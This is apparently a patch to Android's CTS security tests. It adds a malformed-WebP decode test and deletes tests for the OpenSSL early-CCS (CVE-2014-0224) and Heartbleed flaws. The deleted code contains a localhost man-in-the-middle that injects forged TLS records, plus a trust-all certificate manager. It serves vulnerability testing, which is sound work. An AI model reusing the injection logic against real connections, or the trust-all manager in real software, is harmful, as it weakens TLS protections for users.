+ "B8:BE:6D:CB:56:F1:55:B9:63:D4:12:CA:4E:06:34:C7:94:B2:1C:C0",
"AE:C5:FB:3F:C8:E1:BF:C4:E5:4F:03:07:5A:9A:E8:00:B7:F7:B6:FA",
"DF:71:7E:AA:4A:D9:4E:C9:55:84:99:60:2D:48:DE:5F:BC:F0:3A:25",
"F6:10:84:07:D6:F8:BB:67:98:0C:C2:E2:44:C2:EB:AE:1C:EF:63:BE",
"AF:E5:D2:44:A8:D1:19:42:30:FF:47:9F:E2:F8:97:BB:CD:7A:8C:B4",
"5F:3B:8C:F2:F8:10:B3:7D:78:B4:CE:EC:19:19:C3:73:34:B9:C7:74",
- "F1:7F:6F:B6:31:DC:99:E3:A3:C8:7F:FE:1C:F1:81:10:88:D9:60:33",
"9D:70:BB:01:A5:A4:A0:18:11:2E:F7:1C:01:B9:32:C5:34:E7:88:A8",
"96:C9:1B:0B:95:B4:10:98:42:FA:D0:D8:22:79:FE:60:FA:B9:16:83",
"4F:65:8E:1F:E9:06:D8:28:02:E9:54:47:41:C9:54:25:5D:69:CC:1A",
@@ -155,7 +158,6 @@
"F9:B5:B6:32:45:5F:9C:BE:EC:57:5F:80:DC:E9:6E:2C:C7:B2:78:B7",
"E6:21:F3:35:43:79:05:9A:4B:68:30:9D:8A:2F:74:22:15:87:EC:79",
"89:DF:74:FE:5C:F4:0F:4A:80:F9:E3:37:7D:54:DA:91:E1:01:31:8E",
- "E0:B4:32:2E:B2:F6:A5:68:B6:54:53:84:48:18:4A:50:36:87:43:84",
"7E:04:DE:89:6A:3E:66:6D:00:E6:87:D3:3F:FA:D9:3B:E8:3D:34:9E",
"6E:3A:55:A4:19:0C:19:5C:93:84:3C:C0:DB:72:2E:31:30:61:F0:B1",
"4E:B6:D5:78:49:9B:1C:CF:5F:58:1E:AD:56:BE:3D:9B:67:44:A5:E5",
diff --git a/tests/tests/security/src/android/security/cts/DecodeTest.java b/tests/tests/security/src/android/security/cts/DecodeTest.java
index e64e37a..0e92310 100644
--- a/tests/tests/security/src/android/security/cts/DecodeTest.java
+++ b/tests/tests/security/src/android/security/cts/DecodeTest.java
@@ -38,4 +38,17 @@
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
assertNull(bitmap);
}
+
+ /**
+ * Verifies that the device fails to decode a truncated animated webp.
+ *
+ * Prior to fixing bug 67381469, decoding this file would crash. Instead, it should fail to
+ * decode.
+ */
+ @SecurityTest
+ public void test_android_bug_67381469() {
+ InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_67381469);
+ Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
+ assertNull(bitmap);
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java b/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java
deleted file mode 100644
index a6bad84..0000000
--- a/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java
+++ /dev/null
@@ -1,582 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-import android.security.cts.OpenSSLHeartbleedTest.AlertMessage;
-import android.security.cts.OpenSSLHeartbleedTest.HandshakeMessage;
-import android.security.cts.OpenSSLHeartbleedTest.HardcodedCertX509KeyManager;
-import android.security.cts.OpenSSLHeartbleedTest.TlsProtocols;
-import android.security.cts.OpenSSLHeartbleedTest.TlsRecord;
-import android.security.cts.OpenSSLHeartbleedTest.TlsRecordReader;
-import android.security.cts.OpenSSLHeartbleedTest.TrustAllX509TrustManager;
-import android.test.InstrumentationTestCase;
-import android.util.Log;
-
-import java.io.ByteArrayInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.ServerSocket;
-import java.net.Socket;
-import java.net.SocketAddress;
-import java.security.KeyFactory;
-import java.security.PrivateKey;
-import java.security.cert.CertificateFactory;
-import java.security.cert.X509Certificate;
-import java.security.spec.PKCS8EncodedKeySpec;
-import java.util.concurrent.Callable;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-
-import javax.net.ServerSocketFactory;
-import javax.net.SocketFactory;
-import javax.net.ssl.KeyManager;
-import javax.net.ssl.SSLContext;
-import javax.net.ssl.SSLServerSocket;
-import javax.net.ssl.SSLSocket;
-import javax.net.ssl.TrustManager;
-
-/**
- * Tests for the OpenSSL early ChangeCipherSpec (CCS) vulnerability (CVE-2014-0224).
- */
-@SecurityTest
-public class OpenSSLEarlyCCSTest extends InstrumentationTestCase {
-
- // IMPLEMENTATION NOTE: This test spawns an SSLSocket client, SSLServerSocket server, and a
- // Man-in-The-Middle (MiTM). The client connects to the MiTM which then connects to the server
- // and starts forwarding all TLS records between the client and the server. In tests that check
- // for the early CCS vulnerability, the MiTM also injects an early ChangeCipherSpec record into
- // the traffic to which a correctly implemented peer is supposed to reply by immediately
- // aborting the TLS handshake with an unexpected_message fatal alert.
-
- // IMPLEMENTATION NOTE: This test spawns several background threads that perform network I/O
- // on localhost. To ensure that these background threads are cleaned up at the end of the test,
- // tearDown() kills the sockets they may be using. To aid this behavior, all Socket and
- // ServerSocket instances are available as fields of this class. These fields should be accessed
- // via setters and getters to avoid memory visibility issues due to concurrency.
-
- private static final String TAG = OpenSSLEarlyCCSTest.class.getSimpleName();
-
- private SSLServerSocket mServerListeningSocket;
- private SSLSocket mServerSocket;
- private SSLSocket mClientSocket;
- private ServerSocket mMitmListeningSocket;
- private Socket mMitmServerSocket;
- private Socket mMitmClientSocket;
- private ExecutorService mExecutorService;
-
- private boolean mCCSWasInjected;
- private TlsRecord mFirstRecordReceivedAfterCCSWasInjected;
- private boolean mFirstRecordReceivedAfterCCSWasInjectedMayBeEncrypted;
-
- @Override
- protected void tearDown() throws Exception {
- Log.i(TAG, "Tearing down");
- try {
- if (mExecutorService != null) {
- mExecutorService.shutdownNow();
- }
- OpenSSLHeartbleedTest.closeQuietly(getServerListeningSocket());
- OpenSSLHeartbleedTest.closeQuietly(getServerSocket());
- OpenSSLHeartbleedTest.closeQuietly(getClientSocket());
- OpenSSLHeartbleedTest.closeQuietly(getMitmListeningSocket());
- OpenSSLHeartbleedTest.closeQuietly(getMitmServerSocket());
- OpenSSLHeartbleedTest.closeQuietly(getMitmClientSocket());
- } finally {
- super.tearDown();
- Log.i(TAG, "Tear down completed");
- }
- }
-
- /**
- * Tests that TLS handshake succeeds when the MiTM simply forwards all data without tampering
- * with it. This is to catch issues unrelated to early CCS.
- */
- public void testWithoutEarlyCCS() throws Exception {
- handshake(false, false);
- }
-
- /**
- * Tests whether client sockets are vulnerable to early CCS.
- */
- public void testEarlyCCSInjectedIntoClient() throws Exception {
- checkEarlyCCS(true);
- }
-
- /**
- * Tests whether server sockets are vulnerable to early CCS.
- */
- public void testEarlyCCSInjectedIntoServer() throws Exception {
- checkEarlyCCS(false);
- }
-
- /**
- * Tests for the early CCS vulnerability.
- *
- * @param client {@code true} to test the client, {@code false} to test the server.
- */
- private void checkEarlyCCS(boolean client) throws Exception {
- // IMPLEMENTATION NOTE: The MiTM is forwarding all TLS records between the client and the
- // server unmodified. Additionally, the MiTM transmits an early ChangeCipherSpec to server
- // (if "client" argument is false) right before client's ClientKeyExchange or to client (if
- // "client" argument is true) right before server's Certificate. The peer is expected to
- // to abort the handshake immediately with unexpected_message alert.
- try {
- handshake(true, client);
- // TLS handshake succeeded
- assertTrue("Early CCS injected", wasCCSInjected());
- fail("Handshake succeeded despite early CCS having been injected");
- } catch (ExecutionException e) {
- // TLS handshake failed
- assertTrue("Early CCS injected", wasCCSInjected());
- TlsRecord firstRecordReceivedAfterCCSWasInjected =
- getFirstRecordReceivedAfterCCSWasInjected();
- assertNotNull(
- "Nothing received after early CCS was injected",
- firstRecordReceivedAfterCCSWasInjected);
- if (firstRecordReceivedAfterCCSWasInjected.protocol == TlsProtocols.ALERT) {
- AlertMessage alert = AlertMessage.tryParse(firstRecordReceivedAfterCCSWasInjected);
- if ((alert != null)
- && (alert.level == AlertMessage.LEVEL_FATAL)
- && (alert.description == AlertMessage.DESCRIPTION_UNEXPECTED_MESSAGE)) {
- // Expected/correct response to an early CCS
- return;
- }
- }
- fail("SSLSocket is vulnerable to early CCS in " + ((client) ? "client" : "server")
- + " mode: unexpected record received after CCS was injected: "
- + getRecordInfo(
- getFirstRecordReceivedAfterCCSWasInjected(),
- getFirstRecordReceivedAfterCCSWasInjectedMayBeEncrypted()));
- }
- }
-
- /**
- * Starts the client, server, and the MiTM. Makes the client and server perform a TLS handshake
- * and exchange application-level data. The MiTM injects a ChangeCipherSpec record if requested
- * by {@code earlyCCSInjected}. The direction of the injected message is specified by
- * {@code injectedIntoClient}.
- */
- private void handshake(
- final boolean earlyCCSInjected,
- final boolean injectedIntoClient) throws Exception {
- mExecutorService = Executors.newFixedThreadPool(4);
- setServerListeningSocket(serverBind());
- final SocketAddress serverAddress = getServerListeningSocket().getLocalSocketAddress();
- Log.i(TAG, "Server bound to " + serverAddress);
-
- setMitmListeningSocket(mitmBind());
- final SocketAddress mitmAddress = getMitmListeningSocket().getLocalSocketAddress();
- Log.i(TAG, "MiTM bound to " + mitmAddress);
-
- // Start the MiTM daemon in the background
- mExecutorService.submit(new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- mitmAcceptAndForward(serverAddress, earlyCCSInjected, injectedIntoClient);
- return null;
- }
- });
- // Start the server in the background
- Future<Void> serverFuture = mExecutorService.submit(new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- serverAcceptAndHandshake();
- return null;
- }
- });
- // Start the client in the background
- Future<Void> clientFuture = mExecutorService.submit(new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- clientConnectAndHandshake(mitmAddress);
- return null;
- }
- });
-
- // Wait for both client and server to terminate, to ensure that we observe all the traffic
- // exchanged between them. Throw an exception if one of them failed.
- Log.i(TAG, "Waiting for client");
- // Wait for the client, but don't yet throw an exception if it failed.
- Exception clientException = null;
- try {
- clientFuture.get(10, TimeUnit.SECONDS);
- } catch (Exception e) {
- clientException = e;
- }
- Log.i(TAG, "Waiting for server");
- // Wait for the server and throw an exception if it failed.
- serverFuture.get(5, TimeUnit.SECONDS);
- // Throw an exception if the client failed.
- if (clientException != null) {
- throw clientException;
- }
- Log.i(TAG, "Handshake completed and application data exchanged");
- }
-
- private void clientConnectAndHandshake(SocketAddress serverAddress) throws Exception {
- SSLContext sslContext = SSLContext.getInstance("TLS");
- sslContext.init(
- null,
- new TrustManager[] {new TrustAllX509TrustManager()},
- null);
- SSLSocket socket = (SSLSocket) sslContext.getSocketFactory().createSocket();
- setClientSocket(socket);
- try {
- Log.i(TAG, "Client connecting to " + serverAddress);
- socket.connect(serverAddress);
- Log.i(TAG, "Client connected to server from " + socket.getLocalSocketAddress());
- // Ensure a TLS handshake is performed and an exception is thrown if it fails.
- socket.getOutputStream().write("client".getBytes());
- socket.getOutputStream().flush();
- Log.i(TAG, "Client sent request. Reading response");
- int b = socket.getInputStream().read();
- Log.i(TAG, "Client read response: " + b);
- } catch (Exception e) {
- // Make sure the test log includes exceptions from all parties involved.
- Log.w(TAG, "Client failed", e);
- throw e;
- } finally {
- socket.close();
- }
- }
-
- private SSLServerSocket serverBind() throws Exception {
- // Load the server's private key and cert chain
- KeyFactory keyFactory = KeyFactory.getInstance("RSA");
- PrivateKey privateKey = keyFactory.generatePrivate(new PKCS8EncodedKeySpec(
- OpenSSLHeartbleedTest.readResource(
- getInstrumentation().getContext(), R.raw.openssl_heartbleed_test_key)));
- CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
- X509Certificate[] certChain = new X509Certificate[] {
- (X509Certificate) certFactory.generateCertificate(
- new ByteArrayInputStream(OpenSSLHeartbleedTest.readResource(
- getInstrumentation().getContext(),
- R.raw.openssl_heartbleed_test_cert)))
- };
-
- // Initialize TLS context to use the private key and cert chain for server sockets
- SSLContext sslContext = SSLContext.getInstance("TLS");
- sslContext.init(
- new KeyManager[] {new HardcodedCertX509KeyManager(privateKey, certChain)},
- null,
- null);
-
- Log.i(TAG, "Server binding to local port");
- return (SSLServerSocket) sslContext.getServerSocketFactory().createServerSocket(0);
- }
-
- private void serverAcceptAndHandshake() throws Exception {
- SSLSocket socket = null;
- SSLServerSocket serverSocket = getServerListeningSocket();
- try {
- Log.i(TAG, "Server listening for incoming connection");
- socket = (SSLSocket) serverSocket.accept();
- setServerSocket(socket);
- Log.i(TAG, "Server accepted connection from " + socket.getRemoteSocketAddress());
- // Ensure a TLS handshake is performed and an exception is thrown if it fails.
- socket.getOutputStream().write("server".getBytes());
- socket.getOutputStream().flush();
- Log.i(TAG, "Server sent reply. Reading response");
- int b = socket.getInputStream().read();
- Log.i(TAG, "Server read response: " + b);
- } catch (Exception e) {
- // Make sure the test log includes exceptions from all parties involved.
- Log.w(TAG, "Server failed", e);
- throw e;
- } finally {
- if (socket != null) {
- socket.close();
- }
- }
- }
-
- private ServerSocket mitmBind() throws Exception {
- Log.i(TAG, "MiTM binding to local port");
- return ServerSocketFactory.getDefault().createServerSocket(0);
- }
-
- /**
- * Accepts the connection on the MiTM listening socket, forwards the TLS records between the
- * client and the server, and, if requested, injects an early {@code ChangeCipherSpec} record.
- *
- * @param injectEarlyCCS whether to inject an early {@code ChangeCipherSpec} record.
- * @param injectIntoClient when {@code injectEarlyCCS} is {@code true}, whether to inject the
- * {@code ChangeCipherSpec} record into client or into server.
- */
- private void mitmAcceptAndForward(
- SocketAddress serverAddress,
- final boolean injectEarlyCCS,
- final boolean injectIntoClient) throws Exception {
- Socket clientSocket = null;
- Socket serverSocket = null;
- ServerSocket listeningSocket = getMitmListeningSocket();
- try {
- Log.i(TAG, "MiTM waiting for incoming connection");
- clientSocket = listeningSocket.accept();
- setMitmClientSocket(clientSocket);
- Log.i(TAG, "MiTM accepted connection from " + clientSocket.getRemoteSocketAddress());
- serverSocket = SocketFactory.getDefault().createSocket();
- setMitmServerSocket(serverSocket);
- Log.i(TAG, "MiTM connecting to server " + serverAddress);
- serverSocket.connect(serverAddress, 10000);
- Log.i(TAG, "MiTM connected to server from " + serverSocket.getLocalSocketAddress());
- final InputStream serverInputStream = serverSocket.getInputStream();
- final OutputStream clientOutputStream = clientSocket.getOutputStream();
- Future<Void> serverToClientTask = mExecutorService.submit(new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- // Inject early ChangeCipherSpec before Certificate, if requested
- forwardTlsRecords(
- "MiTM S->C",
- serverInputStream,
- clientOutputStream,
- (injectEarlyCCS && injectIntoClient)
- ? HandshakeMessage.TYPE_CERTIFICATE : -1);
- return null;
- }
- });
- // Inject early ChangeCipherSpec before ClientKeyExchange, if requested
- forwardTlsRecords(
- "MiTM C->S",
- clientSocket.getInputStream(),
- serverSocket.getOutputStream(),
- (injectEarlyCCS && !injectIntoClient)
- ? HandshakeMessage.TYPE_CLIENT_KEY_EXCHANGE : -1);
- serverToClientTask.get(10, TimeUnit.SECONDS);
- } catch (Exception e) {
- // Make sure the test log includes exceptions from all parties involved.
- Log.w(TAG, "MiTM failed", e);
- throw e;
- } finally {
- OpenSSLHeartbleedTest.closeQuietly(clientSocket);
- OpenSSLHeartbleedTest.closeQuietly(serverSocket);
- }
- }
-
- /**
- * Forwards TLS records from the provided {@code InputStream} to the provided
- * {@code OutputStream}. If requested, injects an early {@code ChangeCipherSpec}.
- */
- private void forwardTlsRecords(
- String logPrefix,
- InputStream in,
- OutputStream out,
- int handshakeMessageTypeBeforeWhichToInjectEarlyCCS) throws Exception {
- Log.i(TAG, logPrefix + ": record forwarding started");
- boolean interestingRecordsLogged =
- handshakeMessageTypeBeforeWhichToInjectEarlyCCS == -1;
- try {
- TlsRecordReader reader = new TlsRecordReader(in);
- byte[] recordBytes;
- // Fragments contained in records may be encrypted after a certain point in the
- // handshake. Once they are encrypted, this MiTM cannot inspect their plaintext which.
- boolean fragmentEncryptionMayBeEnabled = false;
- while ((recordBytes = reader.readRecord()) != null) {
- TlsRecord record = TlsRecord.parse(recordBytes);
- forwardTlsRecord(logPrefix,
- recordBytes,
- record,
- fragmentEncryptionMayBeEnabled,
- out,
- interestingRecordsLogged,
- handshakeMessageTypeBeforeWhichToInjectEarlyCCS);
- if (record.protocol == TlsProtocols.CHANGE_CIPHER_SPEC) {
- fragmentEncryptionMayBeEnabled = true;
- }
- }
- } finally {
- Log.d(TAG, logPrefix + ": record forwarding finished");
- }
- }
-
- private void forwardTlsRecord(
- String logPrefix,
- byte[] recordBytes,
- TlsRecord record,
- boolean fragmentEncryptionMayBeEnabled,
- OutputStream out,
- boolean interestingRecordsLogged,
- int handshakeMessageTypeBeforeWhichToInjectCCS) throws IOException {
- // Save information about the record if it's of interest to this test
- if (interestingRecordsLogged) {
- if (wasCCSInjected()) {
- setFirstRecordReceivedAfterCCSWasInjected(record, fragmentEncryptionMayBeEnabled);
- }
- } else if ((record.protocol == TlsProtocols.CHANGE_CIPHER_SPEC)
- && (handshakeMessageTypeBeforeWhichToInjectCCS != -1)) {
- // Do not forward original ChangeCipherSpec record(s) if we're injecting such a record
- // ourselves. This is to make sure that the peer sees only one ChangeCipherSpec.
- Log.i(TAG, logPrefix + ": Dropping TLS record. "
- + getRecordInfo(record, fragmentEncryptionMayBeEnabled));
- return;
- }
-
- // Inject a ChangeCipherSpec, if necessary, before the specified handshake message type
- if (handshakeMessageTypeBeforeWhichToInjectCCS != -1) {
- if ((!fragmentEncryptionMayBeEnabled) && (OpenSSLHeartbleedTest.isHandshakeMessageType(
- record, handshakeMessageTypeBeforeWhichToInjectCCS))) {
- Log.i(TAG, logPrefix + ": Injecting ChangeCipherSpec");
- setCCSWasInjected();
- out.write(createChangeCipherSpecRecord(record.versionMajor, record.versionMinor));
- out.flush();
- }
- }
-
- Log.i(TAG, logPrefix + ": Forwarding TLS record. "
- + getRecordInfo(record, fragmentEncryptionMayBeEnabled));
- out.write(recordBytes);
- out.flush();
- }
-
- private static String getRecordInfo(TlsRecord record, boolean mayBeEncrypted) {
- StringBuilder result = new StringBuilder();
- result.append(getProtocolName(record.protocol))
- .append(", ")
- .append(getFragmentInfo(record, mayBeEncrypted));
- return result.toString();
- }
-
- private static String getProtocolName(int protocol) {
- switch (protocol) {
- case TlsProtocols.ALERT:
- return "alert";
- case TlsProtocols.APPLICATION_DATA:
- return "application data";
- case TlsProtocols.CHANGE_CIPHER_SPEC:
- return "change cipher spec";
- case TlsProtocols.HANDSHAKE:
- return "handshake";
- default:
- return String.valueOf(protocol);
- }
- }
-
- private static String getFragmentInfo(TlsRecord record, boolean mayBeEncrypted) {
- StringBuilder result = new StringBuilder();
- if (mayBeEncrypted) {
- result.append("encrypted?");
- } else {
- switch (record.protocol) {
- case TlsProtocols.ALERT:
- result.append("level: " + ((record.fragment.length > 0)
- ? String.valueOf(record.fragment[0] & 0xff) : "n/a")
- + ", description: "
- + ((record.fragment.length > 1)
- ? String.valueOf(record.fragment[1] & 0xff) : "n/a"));
- break;
- case TlsProtocols.APPLICATION_DATA:
- break;
- case TlsProtocols.CHANGE_CIPHER_SPEC:
- result.append("payload: " + ((record.fragment.length > 0)
- ? String.valueOf(record.fragment[0] & 0xff) : "n/a"));
- break;
- case TlsProtocols.HANDSHAKE:
- result.append("type: " + ((record.fragment.length > 0)
- ? String.valueOf(record.fragment[0] & 0xff) : "n/a"));
- break;
- }
- }
- result.append(", ").append("fragment length: " + record.fragment.length);
- return result.toString();
- }
-
- private synchronized void setServerListeningSocket(SSLServerSocket socket) {
- mServerListeningSocket = socket;
- }
-
- private synchronized SSLServerSocket getServerListeningSocket() {
- return mServerListeningSocket;
- }
-
- private synchronized void setServerSocket(SSLSocket socket) {
- mServerSocket = socket;
- }
-
- private synchronized SSLSocket getServerSocket() {
- return mServerSocket;
- }
-
- private synchronized void setClientSocket(SSLSocket socket) {
- mClientSocket = socket;
- }
-
- private synchronized SSLSocket getClientSocket() {
- return mClientSocket;
- }
-
- private synchronized void setMitmListeningSocket(ServerSocket socket) {
- mMitmListeningSocket = socket;
- }
-
- private synchronized ServerSocket getMitmListeningSocket() {
- return mMitmListeningSocket;
- }
-
- private synchronized void setMitmServerSocket(Socket socket) {
- mMitmServerSocket = socket;
- }
-
- private synchronized Socket getMitmServerSocket() {
- return mMitmServerSocket;
- }
-
- private synchronized void setMitmClientSocket(Socket socket) {
- mMitmClientSocket = socket;
- }
-
- private synchronized Socket getMitmClientSocket() {
- return mMitmClientSocket;
- }
-
- private synchronized void setCCSWasInjected() {
- mCCSWasInjected = true;
- }
-
- private synchronized boolean wasCCSInjected() {
- return mCCSWasInjected;
- }
-
- private synchronized void setFirstRecordReceivedAfterCCSWasInjected(
- TlsRecord record, boolean mayBeEncrypted) {
- if (mFirstRecordReceivedAfterCCSWasInjected == null) {
- mFirstRecordReceivedAfterCCSWasInjected = record;
- mFirstRecordReceivedAfterCCSWasInjectedMayBeEncrypted = mayBeEncrypted;
- }
- }
-
- private synchronized TlsRecord getFirstRecordReceivedAfterCCSWasInjected() {
- return mFirstRecordReceivedAfterCCSWasInjected;
- }
-
- private synchronized boolean getFirstRecordReceivedAfterCCSWasInjectedMayBeEncrypted() {
- return mFirstRecordReceivedAfterCCSWasInjectedMayBeEncrypted;
- }
-
- private static byte[] createChangeCipherSpecRecord(int versionMajor, int versionMinor) {
- TlsRecord record = new TlsRecord();
- record.protocol = TlsProtocols.CHANGE_CIPHER_SPEC;
- record.versionMajor = versionMajor;
- record.versionMinor = versionMinor;
- record.fragment = new byte[] {1};
- return TlsRecord.unparse(record);
- }
-}
diff --git a/tests/tests/security/src/android/security/cts/OpenSSLHeartbleedTest.java b/tests/tests/security/src/android/security/cts/OpenSSLHeartbleedTest.java
deleted file mode 100644
index 95a82a8..0000000
--- a/tests/tests/security/src/android/security/cts/OpenSSLHeartbleedTest.java
+++ /dev/null
@@ -1,983 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.content.Context;
-import android.platform.test.annotations.SecurityTest;
-import android.test.InstrumentationTestCase;
-import android.util.Log;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.EOFException;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.ServerSocket;
-import java.net.Socket;
-import java.net.SocketAddress;
-import java.security.KeyFactory;
-import java.security.Principal;
-import java.security.PrivateKey;
-import java.security.cert.CertificateException;
-import java.security.cert.CertificateFactory;
-import java.security.cert.X509Certificate;
-import java.security.spec.PKCS8EncodedKeySpec;
-import java.util.concurrent.Callable;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-
-import javax.net.ServerSocketFactory;
-import javax.net.SocketFactory;
-import javax.net.ssl.KeyManager;
-import javax.net.ssl.SSLContext;
-import javax.net.ssl.SSLException;
-import javax.net.ssl.SSLServerSocket;
-import javax.net.ssl.SSLSocket;
-import javax.net.ssl.TrustManager;
-import javax.net.ssl.X509KeyManager;
-import javax.net.ssl.X509TrustManager;
-
-/**
- * Tests for the OpenSSL Heartbleed vulnerability.
- */
-@SecurityTest
-public class OpenSSLHeartbleedTest extends InstrumentationTestCase {
-
- // IMPLEMENTATION NOTE: This test spawns an SSLSocket client, SSLServerSocket server, and a
- // Man-in-The-Middle (MiTM). The client connects to the MiTM which then connects to the server
- // and starts forwarding all TLS records between the client and the server. In tests that check
- // for the Heartbleed vulnerability, the MiTM also injects a HeartbeatRequest message into the
- // traffic.
-
- // IMPLEMENTATION NOTE: This test spawns several background threads that perform network I/O
- // on localhost. To ensure that these background threads are cleaned up at the end of the test
- // tearDown() kills the sockets they may be using. To aid this behavior, all Socket and
- // ServerSocket instances are available as fields of this class. These fields should be accessed
- // via setters and getters to avoid memory visibility issues due to concurrency.
-
- private static final String TAG = OpenSSLHeartbleedTest.class.getSimpleName();
-
- private SSLServerSocket mServerListeningSocket;
- private SSLSocket mServerSocket;
- private SSLSocket mClientSocket;
- private ServerSocket mMitmListeningSocket;
- private Socket mMitmServerSocket;
- private Socket mMitmClientSocket;
- private ExecutorService mExecutorService;
-
- private boolean mHeartbeatRequestWasInjected;
- private boolean mHeartbeatResponseWasDetetected;
- private int mFirstDetectedFatalAlertDescription = -1;
-
- @Override
- protected void tearDown() throws Exception {
- Log.i(TAG, "Tearing down");
- if (mExecutorService != null) {
- mExecutorService.shutdownNow();
- }
- closeQuietly(getServerListeningSocket());
- closeQuietly(getServerSocket());
- closeQuietly(getClientSocket());
- closeQuietly(getMitmListeningSocket());
- closeQuietly(getMitmServerSocket());
- closeQuietly(getMitmClientSocket());
- super.tearDown();
- Log.i(TAG, "Tear down completed");
- }
-
- /**
- * Tests that TLS handshake succeeds when the MiTM simply forwards all data without tampering
- * with it. This is to catch issues unrelated to TLS heartbeats.
- */
- public void testWithoutHeartbeats() throws Exception {
- handshake(false, false);
- }
-
- /**
- * Tests whether client sockets are vulnerable to Heartbleed.
- */
- public void testClientHeartbleed() throws Exception {
- checkHeartbleed(true);
- }
-
- /**
- * Tests whether server sockets are vulnerable to Heartbleed.
- */
- public void testServerHeartbleed() throws Exception {
- checkHeartbleed(false);
- }
-
- /**
- * Tests for Heartbleed.
- *
- * @param client {@code true} to test the client, {@code false} to test the server.
- */
- private void checkHeartbleed(boolean client) throws Exception {
- // IMPLEMENTATION NOTE: The MiTM is forwarding all TLS records between the client and the
- // server unmodified. Additionally, the MiTM transmits a malformed HeartbeatRequest to
- // server (if "client" argument is false) right after client's ClientKeyExchange or to
- // client (if "client" argument is true) right after server's ServerHello. The peer is
- // expected to either ignore the HeartbeatRequest (if heartbeats are supported) or to abort
- // the handshake with unexpected_message alert (if heartbeats are not supported).
- try {
- handshake(true, client);
- } catch (ExecutionException e) {
- assertFalse(
- "SSLSocket is vulnerable to Heartbleed in " + ((client) ? "client" : "server")
- + " mode",
- wasHeartbeatResponseDetected());
- if (e.getCause() instanceof SSLException) {
- // TLS handshake or data exchange failed. Check whether the error was caused by
- // fatal alert unexpected_message
- int alertDescription = getFirstDetectedFatalAlertDescription();
- if (alertDescription == -1) {
- fail("Handshake failed without a fatal alert");
- }
- assertEquals(
- "First fatal alert description received from server",
- AlertMessage.DESCRIPTION_UNEXPECTED_MESSAGE,
- alertDescription);
- return;
- } else {
- throw e;
- }
- }
-
- // TLS handshake succeeded
- assertFalse(
- "SSLSocket is vulnerable to Heartbleed in " + ((client) ? "client" : "server")
- + " mode",
- wasHeartbeatResponseDetected());
- assertTrue("HeartbeatRequest not injected", wasHeartbeatRequestInjected());
- }
-
- /**
- * Starts the client, server, and the MiTM. Makes the client and server perform a TLS handshake
- * and exchange application-level data. The MiTM injects a HeartbeatRequest message if requested
- * by {@code heartbeatRequestInjected}. The direction of the injected message is specified by
- * {@code injectedIntoClient}.
- */
- private void handshake(
- final boolean heartbeatRequestInjected,
- final boolean injectedIntoClient) throws Exception {
- mExecutorService = Executors.newFixedThreadPool(4);
- setServerListeningSocket(serverBind());
- final SocketAddress serverAddress = getServerListeningSocket().getLocalSocketAddress();
- Log.i(TAG, "Server bound to " + serverAddress);
-
- setMitmListeningSocket(mitmBind());
- final SocketAddress mitmAddress = getMitmListeningSocket().getLocalSocketAddress();
- Log.i(TAG, "MiTM bound to " + mitmAddress);
-
- // Start the MiTM daemon in the background
- mExecutorService.submit(new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- mitmAcceptAndForward(
- serverAddress,
- heartbeatRequestInjected,
- injectedIntoClient);
- return null;
- }
- });
- // Start the server in the background
- Future<Void> serverFuture = mExecutorService.submit(new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- serverAcceptAndHandshake();
- return null;
- }
- });
- // Start the client in the background
- Future<Void> clientFuture = mExecutorService.submit(new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- clientConnectAndHandshake(mitmAddress);
- return null;
- }
- });
-
- // Wait for both client and server to terminate, to ensure that we observe all the traffic
- // exchanged between them. Throw an exception if one of them failed.
- Log.i(TAG, "Waiting for client");
- // Wait for the client, but don't yet throw an exception if it failed.
- Exception clientException = null;
- try {
- clientFuture.get(10, TimeUnit.SECONDS);
- } catch (Exception e) {
- clientException = e;
- }
- Log.i(TAG, "Waiting for server");
- // Wait for the server and throw an exception if it failed.
- serverFuture.get(5, TimeUnit.SECONDS);
- // Throw an exception if the client failed.
- if (clientException != null) {
- throw clientException;
- }
- Log.i(TAG, "Handshake completed and application data exchanged");
- }
-
- private void clientConnectAndHandshake(SocketAddress serverAddress) throws Exception {
- SSLContext sslContext = SSLContext.getInstance("TLS");
- sslContext.init(
- null,
- new TrustManager[] {new TrustAllX509TrustManager()},
- null);
- SSLSocket socket = (SSLSocket) sslContext.getSocketFactory().createSocket();
